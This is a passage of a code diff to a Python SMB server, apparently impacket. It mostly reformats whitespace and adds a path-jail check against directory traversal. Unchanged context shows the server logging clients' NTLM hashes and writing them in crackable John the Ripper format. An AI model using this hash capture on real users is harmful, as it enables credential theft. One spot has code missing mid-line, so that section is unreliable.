respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData errorCode = STATUS_SUCCESS smbServer.setConnectionData(connId, connData) @@ -1893,15 +2023,15 @@ def smbComTreeDisconnect(connId, smbServer, SMBCommand, recvPacket): respData = b'' if recvPacket['Tid'] in connData['ConnectedShares']: - smbServer.log("Disconnecting Share(%d:%s)" % (recvPacket['Tid'],connData['ConnectedShares'][recvPacket['Tid']]['shareName'])) - del(connData['ConnectedShares'][recvPacket['Tid']]) + smbServer.log("Disconnecting Share(%d:%s)" % ( + recvPacket['Tid'], connData['ConnectedShares'][recvPacket['Tid']]['shareName'])) + del (connData['ConnectedShares'][recvPacket['Tid']]) errorCode = STATUS_SUCCESS else: - # STATUS_SMB_BAD_TID errorCode = STATUS_SMB_BAD_TID respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1910,19 +2040,18 @@ def smbComTreeDisconnect(connId, smbServer, SMBCommand, recvPacket): def smbComLogOffAndX(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOGOFF_ANDX) + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOGOFF_ANDX) # Check if the Uid matches the user trying to logoff respParameters = b'' respData = b'' if recvPacket['Uid'] != connData['Uid']: - # STATUS_SMB_BAD_UID errorCode = STATUS_SMB_BAD_UID else: errorCode = STATUS_SUCCESS - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData connData['Uid'] = 0 connData['Authenticated'] = False @@ -1934,41 +2063,46 @@ def smbComLogOffAndX(connId, smbServer, SMBCommand, recvPacket): def smbComQueryInformation2(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION2) - respParameters = smb.SMBQueryInformation2Response_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION2) + respParameters = smb.SMBQueryInformation2Response_Parameters() + respData = b'' queryInformation2 = smb.SMBQueryInformation2_Parameters(SMBCommand['Parameters']) errorCode = 0xFF - if queryInformation2['Fid'] in connData['OpenedFiles']: - errorCode = STATUS_SUCCESS - pathName = connData['OpenedFiles'][queryInformation2['Fid']]['FileName'] - try: - (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName) - respParameters['CreateDate'] = getSMBDate(ctime) - respParameters['CreationTime'] = getSMBTime(ctime) - respParameters['LastAccessDate'] = getSMBDate(atime) - respParameters['LastAccessTime'] = getSMBTime(atime) - respParameters['LastWriteDate'] = getSMBDate(mtime) - respParameters['LastWriteTime'] = getSMBTime(mtime) - respParameters['FileDataSize'] = size - respParameters['FileAllocationSize'] = size - attribs = 0 - if os.path.isdir(pathName): - attribs = smb.SMB_FILE_ATTRIBUTE_DIRECTORY - if os.path.isfile(pathName): - attribs = smb.SMB_FILE_ATTRIBUTE_NORMAL - respParameters['FileAttributes'] = attribs - except Exception as e: - smbServer.log('smbComQueryInformation2 %s' % e,logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if queryInformation2['Fid'] in connData['OpenedFiles']: + errorCode = STATUS_SUCCESS + pathName = connData['OpenedFiles'][queryInformation2['Fid']]['FileName'] + try: + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName) + respParameters['CreateDate'] = getSMBDate(ctime) + respParameters['CreationTime'] = getSMBTime(ctime) + respParameters['LastAccessDate'] = getSMBDate(atime) + respParameters['LastAccessTime'] = getSMBTime(atime) + respParameters['LastWriteDate'] = getSMBDate(mtime) + respParameters['LastWriteTime'] = getSMBTime(mtime) + respParameters['FileDataSize'] = size + respParameters['FileAllocationSize'] = size + attribs = 0 + if os.path.isdir(pathName): + attribs = smb.SMB_FILE_ATTRIBUTE_DIRECTORY + if os.path.isfile(pathName): + attribs = smb.SMB_FILE_ATTRIBUTE_NORMAL + respParameters['FileAttributes'] = attribs + except Exception as e: + smbServer.log('smbComQueryInformation2 %s' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1978,136 +2112,140 @@ def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket): # TODO: Fully implement this connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) - respParameters = smb.SMBNtCreateAndXResponse_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + respParameters = smb.SMBNtCreateAndXResponse_Parameters() + respData = b'' ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) - ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) - #if ntCreateAndXParameters['CreateFlags'] & 0x10: # NT_CREATE_REQUEST_EXTENDED_RESPONSE + # if ntCreateAndXParameters['CreateFlags'] & 0x10: # NT_CREATE_REQUEST_EXTENDED_RESPONSE # respParameters = smb.SMBNtCreateAndXExtendedResponse_Parameters() # respParameters['VolumeGUID'] = '\x00' # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - # If we have a rootFid, the path is relative to that fid - errorCode = STATUS_SUCCESS - if ntCreateAndXParameters['RootFid'] > 0: - path = connData['OpenedFiles'][ntCreateAndXParameters['RootFid']]['FileName'] - LOG.debug("RootFid present %s!" % path) - else: - if 'path' in connData['ConnectedShares'][recvPacket['Tid']]: - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - else: - path = 'NONE' - errorCode = STATUS_ACCESS_DENIED - - deleteOnClose = False - - fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - createDisposition = ntCreateAndXParameters['Disposition'] - mode = 0 - - if createDisposition == smb.FILE_SUPERSEDE: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb.FILE_OVERWRITE_IF == smb.FILE_OVERWRITE_IF: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb.FILE_OVERWRITE == smb.FILE_OVERWRITE: - if os.path.exists(pathName) is True: - mode |= os.O_TRUNC - else: - errorCode = STATUS_NO_SUCH_FILE - elif createDisposition & smb.FILE_OPEN_IF == smb.FILE_OPEN_IF: - if os.path.exists(pathName) is True: - mode |= os.O_TRUNC - else: - mode |= os.O_TRUNC | os.O_CREAT - elif createDisposition & smb.FILE_CREATE == smb.FILE_CREATE: - if os.path.exists(pathName) is True: - errorCode = STATUS_OBJECT_NAME_COLLISION - else: - mode |= os.O_CREAT - elif createDisposition & smb.FILE_OPEN == smb.FILE_OPEN: - if os.path.exists(pathName) is not True and (str(pathName) in smbServer.getRegisteredNamedPipes()) is not True: - errorCode = STATUS_NO_SUCH_FILE - - if errorCode == STATUS_SUCCESS: - desiredAccess = ntCreateAndXParameters['AccessMask'] - if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ): - mode |= os.O_RDONLY - if (desiredAccess & smb.FILE_WRITE_DATA) or (desiredAccess & smb.GENERIC_WRITE): - if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ): - mode |= os.O_RDWR #| os.O_APPEND - else: - mode |= os.O_WRONLY #| os.O_APPEND - if desiredAccess & smb.GENERIC_ALL: - mode |= os.O_RDWR #| os.O_APPEND - - createOptions = ntCreateAndXParameters['CreateOptions'] - if mode & os.O_CREAT == os.O_CREAT: - if createOptions & smb.FILE_DIRECTORY_FILE == smb.FILE_DIRECTORY_FILE: - try: - # Let's create the directory - os.mkdir(pathName) - mode = os.O_RDONLY - except Exception as e: - smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName,mode,e),logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - if createOptions & smb.FILE_NON_DIRECTORY_FILE == smb.FILE_NON_DIRECTORY_FILE: - # If the file being opened is a directory, the server MUST fail the request with - # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server - # response. - if os.path.isdir(pathName) is True: + # If we have a rootFid, the path is relative to that fid + errorCode = STATUS_SUCCESS + if ntCreateAndXParameters['RootFid'] > 0: + path = connData['OpenedFiles'][ntCreateAndXParameters['RootFid']]['FileName'] + LOG.debug("RootFid present %s!" % path) + else: + if 'path' in connData['ConnectedShares'][recvPacket['Tid']]: + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + else: + path = 'NONE' + errorCode = STATUS_ACCESS_DENIED + + deleteOnClose = False + + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], ntCreateAndXData['FileName'])) + if not isInFileJail(path, fileName): + LOG.error("Path not in current working directory") + respSMBCommand['Parameters'] = b'' + respSMBCommand['Data'] = b'' + return [respSMBCommand], None, STATUS_OBJECT_PATH_SYNTAX_BAD + + pathName = os.path.join(path, fileName) + createDisposition = ntCreateAndXParameters['Disposition'] + mode = 0 + + if createDisposition == smb.FILE_SUPERSEDE: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb.FILE_OVERWRITE_IF == smb.FILE_OVERWRITE_IF: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb.FILE_OVERWRITE == smb.FILE_OVERWRITE: + if os.path.exists(pathName) is True: + mode |= os.O_TRUNC + else: + errorCode = STATUS_NO_SUCH_FILE + elif createDisposition & smb.FILE_OPEN_IF == smb.FILE_OPEN_IF: + if os.path.exists(pathName) is True: + mode |= os.O_TRUNC + else: + mode |= os.O_TRUNC | os.O_CREAT + elif createDisposition & smb.FILE_CREATE == smb.FILE_CREATE: + if os.path.exists(pathName) is True: + errorCode = STATUS_OBJECT_NAME_COLLISION + else: + mode |= os.O_CREAT + elif createDisposition & smb.FILE_OPEN == smb.FILE_OPEN: + if os.path.exists(pathName) is not True and ( + str(pathName) in smbServer.getRegisteredNamedPipes()) is not True: + errorCode = STATUS_NO_SUCH_FILE + + if errorCode == STATUS_SUCCESS: + desiredAccess = ntCreateAndXParameters['AccessMask'] + if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ): + mode |= os.O_RDONLY + if (desiredAccess & smb.FILE_WRITE_DATA) or (desiredAccess & smb.GENERIC_WRITE): + if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ): + mode |= os.O_RDWR # | os.O_APPEND + else: + mode |= os.O_WRONLY # | os.O_APPEND + if desiredAccess & smb.GENERIC_ALL: + mode |= os.O_RDWR # | os.O_APPEND + + createOptions = ntCreateAndXParameters['CreateOptions'] + if mode & os.O_CREAT == os.O_CREAT: + if createOptions & smb.FILE_DIRECTORY_FILE == smb.FILE_DIRECTORY_FILE: + try: + # Let's create the directory + os.mkdir(pathName) + mode = os.O_RDONLY + except Exception as e: + smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName, mode, e), logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + if createOptions & smb.FILE_NON_DIRECTORY_FILE == smb.FILE_NON_DIRECTORY_FILE: + # If the file being opened is a directory, the server MUST fail the request with + # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server + # response. + if os.path.isdir(pathName) is True: errorCode = STATUS_FILE_IS_A_DIRECTORY - if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: - deleteOnClose = True - - if errorCode == STATUS_SUCCESS: - try: - if os.path.isdir(pathName) and sys.platform == 'win32': + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + deleteOnClose = True + + if errorCode == STATUS_SUCCESS: + try: + if os.path.isdir(pathName) and sys.platform == 'win32': fid = VOID_FILE_DESCRIPTOR - else: + else: if sys.platform == 'win32': - mode |= os.O_BINARY + mode |= os.O_BINARY if str(pathName) in smbServer.getRegisteredNamedPipes(): fid = PIPE_FILE_DESCRIPTOR sock = socket.socket() sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)]) else: fid = os.open(pathName, mode) - except Exception as e: - smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName,mode,e),logging.ERROR) - #print e - fid = 0 - errorCode = STATUS_ACCESS_DENIED + except Exception as e: + smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName, mode, e), logging.ERROR) + # print e + fid = 0 + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID if errorCode == STATUS_SUCCESS: # Simple way to generate a fid if len(connData['OpenedFiles']) == 0: - fakefid = 1 + fakefid = 1 else: - fakefid = list(connData['OpenedFiles'].keys())[-1] + 1 + fakefid = list(connData['OpenedFiles'].keys())[-1] + 1 respParameters['Fid'] = fakefid respParameters['CreateAction'] = createDisposition if fid == PIPE_FILE_DESCRIPTOR: respParameters['FileAttributes'] = 0x80 respParameters['IsDirectory'] = 0 - respParameters['CreateTime'] = 0 + respParameters['CreateTime'] = 0 respParameters['LastAccessTime'] = 0 - respParameters['LastWriteTime'] = 0 + respParameters['LastWriteTime'] = 0 respParameters['LastChangeTime'] = 0 respParameters['AllocationSize'] = 4096 - respParameters['EndOfFile'] = 0 - respParameters['FileType'] = 2 - respParameters['IPCState'] = 0x5ff + respParameters['EndOfFile'] = 0 + respParameters['FileType'] = 2 + respParameters['IPCState'] = 0x5ff else: if os.path.isdir(pathName): respParameters['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY @@ -2116,18 +2254,18 @@ def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket): respParameters['IsDirectory'] = 0 respParameters['FileAttributes'] = ntCreateAndXParameters['FileAttributes'] # Let's get this file's information - respInfo, errorCode = queryPathInformation('',pathName,level= smb.SMB_QUERY_FILE_ALL_INFO) + respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO) if errorCode == STATUS_SUCCESS: - respParameters['CreateTime'] = respInfo['CreationTime'] + respParameters['CreateTime'] = respInfo['CreationTime'] respParameters['LastAccessTime'] = respInfo['LastAccessTime'] - respParameters['LastWriteTime'] = respInfo['LastWriteTime'] + respParameters['LastWriteTime'] = respInfo['LastWriteTime'] respParameters['LastChangeTime'] = respInfo['LastChangeTime'] respParameters['FileAttributes'] = respInfo['ExtFileAttributes'] respParameters['AllocationSize'] = respInfo['AllocationSize'] - respParameters['EndOfFile'] = respInfo['EndOfFile'] + respParameters['EndOfFile'] = respInfo['EndOfFile'] else: respParameters = b'' - respData = b'' + respData = b'' if errorCode == STATUS_SUCCESS: # Let's store the fid for the connection @@ -2135,15 +2273,15 @@ def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket): connData['OpenedFiles'][fakefid] = {} connData['OpenedFiles'][fakefid]['FileHandle'] = fid connData['OpenedFiles'][fakefid]['FileName'] = pathName - connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose + connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose if fid == PIPE_FILE_DESCRIPTOR: connData['OpenedFiles'][fakefid]['Socket'] = sock else: respParameters = b'' - respData = b'' - - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respData = b'' + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -2152,31 +2290,32 @@ def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket): def smbComOpenAndX(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX) - respParameters = smb.SMBOpenAndXResponse_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX) + respParameters = smb.SMBOpenAndXResponse_Parameters() + respData = b'' openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters']) - openAndXData = smb.SMBOpenAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + openAndXData = smb.SMBOpenAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - openedFile, mode, pathName, errorCode = openFile(path, - decodeSMBString(recvPacket['Flags2'],openAndXData['FileName']), - openAndXParameters['DesiredAccess'], - openAndXParameters['FileAttributes'], - openAndXParameters['OpenMode']) + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + openedFile, mode, pathName, errorCode = openFile(path, + decodeSMBString(recvPacket['Flags2'], + openAndXData['FileName']), + openAndXParameters['DesiredAccess'], + openAndXParameters['FileAttributes'], + openAndXParameters['OpenMode']) else: - errorCode = STATUS_SMB_BAD_TID + errorCode = STATUS_SMB_BAD_TID if errorCode == STATUS_SUCCESS: # Simple way to generate a fid - fid = len(connData['OpenedFiles']) + 1 + fid = len(connData['OpenedFiles']) + 1 if len(connData['OpenedFiles']) == 0: - fid = 1 + fid = 1 else: - fid = list(connData['OpenedFiles'].keys())[-1] + 1 + fid = list(connData['OpenedFiles'].keys())[-1] + 1 respParameters['Fid'] = fid if mode & os.O_CREAT: # File did not exist and was created @@ -2190,19 +2329,19 @@ def smbComOpenAndX(connId, smbServer, SMBCommand, recvPacket): else: # File existed and was truncated respParameters['Action'] = 0x3 - + # Let's store the fid for the connection - #smbServer.log('Opening file %s' % pathName) + # smbServer.log('Opening file %s' % pathName) connData['OpenedFiles'][fid] = {} connData['OpenedFiles'][fid]['FileHandle'] = openedFile connData['OpenedFiles'][fid]['FileName'] = pathName - connData['OpenedFiles'][fid]['DeleteOnClose'] = False + connData['OpenedFiles'][fid]['DeleteOnClose'] = False else: respParameters = b'' - respData = b'' - - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respData = b'' + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -2213,22 +2352,23 @@ def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket): resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY - resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ + recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) - respParameters = smb.SMBTreeConnectAndXResponse_Parameters() - respData = smb.SMBTreeConnectAndXResponse_Data() + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: - respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() - treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData = smb.SMBTreeConnectAndX_Data(flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) @@ -2243,34 +2383,34 @@ def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket): else: path = ntpath.basename(UNCOrShare) - share = searchShare(connId, path, smbServer) + share = searchShare(connId, path, smbServer) if share is not None: # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: - tid = 1 + tid = 1 else: - tid = list(connData['ConnectedShares'].keys())[-1] + 1 + tid = list(connData['ConnectedShares'].keys())[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid - #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + # smbServer.log("Connecting Share(%d:%s)" % (tid,path)) else: smbServer.log("TreeConnectAndX not found %s" % path, logging.ERROR) errorCode = STATUS_OBJECT_PATH_NOT_FOUND - resp['ErrorCode'] = errorCode >> 16 - resp['ErrorClass'] = errorCode & 0xff + resp['ErrorCode'] = errorCode >> 16 + resp['ErrorClass'] = errorCode & 0xff ## respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': - respData['Service'] = 'IPC' + respData['Service'] = 'IPC' else: - respData['Service'] = path - respData['PadLen'] = 0 - respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode() + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS').decode() - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) @@ -2284,19 +2424,19 @@ def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket): @staticmethod def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): - connData = smbServer.getConnectionData(connId, checkStatus = False) + connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) # From [MS-SMB] - # When extended security is being used (see section 3.2.4.2.4), the + # When extended security is being used (see section 3.2.4.2.4), the # request MUST take the following form # [..] # WordCount (1 byte): The value of this field MUST be 0x0C. if SMBCommand['WordCount'] == 12: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() - respData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags = recvPacket['Flags2']) + respData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags=recvPacket['Flags2']) sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] @@ -2304,45 +2444,45 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): connData['Capabilities'] = sessionSetupParameters['Capabilities'] rawNTLM = False - if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_AID: - # NEGOTIATE packet - blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) - token = blob['MechToken'] - if len(blob['MechTypes'][0]) > 0: - # Is this GSSAPI NTLM or something else we don't support? - mechType = blob['MechTypes'][0] - if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: - # Nope, do we know it? - if mechType in MechTypes: - mechStr = MechTypes[mechType] - else: - mechStr = hexlify(mechType) - smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) - # We don't know the token, we answer back again saying - # we just support NTLM. - # ToDo: Build this into a SPNEGO_NegTokenResp() - respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' - respParameters['SecurityBlobLength'] = len(respToken) - respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] - respData['SecurityBlob'] = respToken - respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) - respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED - - elif struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_SUPPORTED_MECH: - # AUTH packet - blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) - token = blob['ResponseToken'] + if struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_AID: + # NEGOTIATE packet + blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) + token = blob['MechToken'] + if len(blob['MechTypes'][0]) > 0: + # Is this GSSAPI NTLM or something else we don't support? + mechType = blob['MechTypes'][0] + if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: + # Nope, do we know it? + if mechType in MechTypes: + mechStr = MechTypes[mechType] + else: + mechStr = hexlify(mechType) + smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) + # We don't know the token, we answer back again saying + # we just support NTLM. + # ToDo: Build this into a SPNEGO_NegTokenResp() + respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' + respParameters['SecurityBlobLength'] = len(respToken) + respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] + respData['SecurityBlob'] = respToken + respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) + respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED + + elif struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_SUPPORTED_MECH: + # AUTH packet + blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) + token = blob['ResponseToken'] else: - # No GSSAPI stuff, raw NTLMSSP - rawNTLM = True - token = sessionSetupData['SecurityBlob'] + # No GSSAPI stuff, raw NTLMSSP + rawNTLM = True + token = sessionSetupData['SecurityBlob'] - # Here we only handle NTLMSSP, depending on what stage of the + # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it - messageType = struct.unpack(' 0: identity = authenticateMessage['user_name'].decode('utf-16le').lower() @@ -2432,7 +2575,8 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): uid, lmhash, nthash = smbServer.getCredentials()[identity] errorCode, sessionKey = computeNTLMv2(identity, lmhash, nthash, smbServer.getSMBChallenge(), - authenticateMessage, connData['CHALLENGE_MESSAGE'], connData['NEGOTIATE_MESSAGE']) + authenticateMessage, connData['CHALLENGE_MESSAGE'], + connData['NEGOTIATE_MESSAGE']) if sessionKey is not None: connData['SignatureEnabled'] = False @@ -2450,8 +2594,10 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): # accept-completed respToken['NegState'] = b'\x00' - smbServer.log('User %s\\%s authenticated successfully' % (authenticateMessage['host_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))) + smbServer.log( + 'User %s\\%s authenticated successfully' % (authenticateMessage['host_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode( + 'utf-16le'))) # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage try: @@ -2462,7 +2608,8 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): authenticateMessage['lanman'], authenticateMessage['ntlm']) smbServer.log(ntlm_hash_data['hash_string']) if jtr_dump_path != '': - writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], jtr_dump_path) + writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], + jtr_dump_path) except: smbServer.log("Could not write NTLM Hashes to the specified JTR_Dump_Path %s" % jtr_dump_path) else: @@ -2473,13 +2620,13 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) - respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] - respData['SecurityBlob'] = respToken.getData() + respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] + respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() - respData = smb.SMBSessionSetupAndXResponse_Data() + respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] @@ -2492,38 +2639,41 @@ def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket): connData['Uid'] = 10 connData['Authenticated'] = True respParameters['Action'] = 0 - smbServer.log('User %s\\%s authenticated successfully (basic)' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) + smbServer.log('User %s\\%s 